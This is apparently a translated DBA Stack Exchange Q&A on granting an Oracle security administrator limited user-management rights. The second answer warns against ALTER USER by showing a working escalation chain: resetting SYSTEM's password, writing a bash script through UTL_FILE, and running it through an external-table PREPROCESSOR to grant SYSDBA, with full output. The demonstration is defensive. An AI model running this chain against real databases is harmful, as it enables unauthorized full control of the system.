Oracle

Oracle - 如何授予使用者創建和更改其他使用者密碼的權限(如安全管理員)

  • December 17, 2020

我有一個使用者是 IT 部門的安全管理員。我需要授予他的 Oracle 使用者帳戶權限,以便能夠在我們創建的其他組中創建新使用者、更改密碼和更改成員資格。這基本上是一個安全管理員,我不想給它完整的 sysdba/dba 權限。那將是矯枉過正。我到底要授予什麼以及如何授予?

您只需要授予他們CREATE USERALTER USER系統權限。

例如:GRANT ALTER USER TO UserAccountWithPermission;

您可以授予該使用者以完成此操作ALTER USERCREATE USER通過這樣做,您還可以在大多數數據庫中間接授予該使用者無限制的訪問權限,這是您想要避免的。

Connected to:
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.9.0.0.0

SQL> create user u1 identified by u1;

User created.

SQL> grant create session, alter user to u1;

Grant succeeded.

SQL> conn u1/u1
Connected.
SQL> alter user system identified by system;

User altered.

SQL> conn system/system
Connected.
SQL> show user
USER is "SYSTEM"

這就是獲得訪問權限SYSTEM或除SYS. 這已經作為數據庫使用者提供了對文件系統的讀/寫訪問。

SQL> select SYS_CONTEXT ('USERENV','ORACLE_HOME') as home,
           SYS_CONTEXT ('USERENV','INSTANCE_NAME') as instance from dual;

HOME                                     INSTANCE
---------------------------------------- --------------------
/u01/app/oracle/product/19.0.0/dbhome_1  RYMIN19

SQL> create directory exploitd1 as '/tmp';

Directory created.

SQL> create directory exploitd2 as '/usr/bin';

Directory created.

SQL> declare
 fhandle  utl_file.file_type;
begin
 fhandle := utl_file.fopen('EXPLOITD1', 'data.txt', 'w');
 utl_file.put(fhandle, '#!/bin/bash' || CHR(10));
 utl_file.put(fhandle, 'export ORACLE_HOME=/u01/app/oracle/product/19.0.0/dbhome_1' || CHR(10));
 utl_file.put(fhandle, 'export PATH=$ORACLE_HOME/bin:$PATH' || CHR(10));
 utl_file.put(fhandle, 'export ORACLE_SID=RYMIN19' || CHR(10));
 utl_file.put(fhandle, 'sqlplus / as sysdba<<EOF' || CHR(10));
 utl_file.put(fhandle, 'grant sysdba to u1;' || CHR(10));
 utl_file.put(fhandle, 'exit' || CHR(10));
 utl_file.put(fhandle, 'EOF');
 utl_file.fclose(fhandle);
end;
/

PL/SQL procedure successfully completed.

接下來使用以 bash 作為預處理器執行的上述腳本創建一個外部表:

SQL> CREATE TABLE exploit_table (c1 varchar2(2000))
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY exploitd1
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
PREPROCESSOR exploitd2:'bash'
DISABLE_DIRECTORY_LINK_CHECK
FIELDS (c1 char(2000)))
LOCATION ('data.txt'))
REJECT LIMIT UNLIMITED;

Table created.

SQL>

有趣的部分來了:

SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE

SQL> select count(*) from exploit_table;

 COUNT(*)
----------
       16

SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE
U1                             TRUE

SQL>

如果您想真正限制此安全管理員的權限,您將需要一些自定義 PL/SQL 觸發器或包/過程來控制該使用者可以創建和更改哪些使用者。

引用自:https://dba.stackexchange.com/questions/281769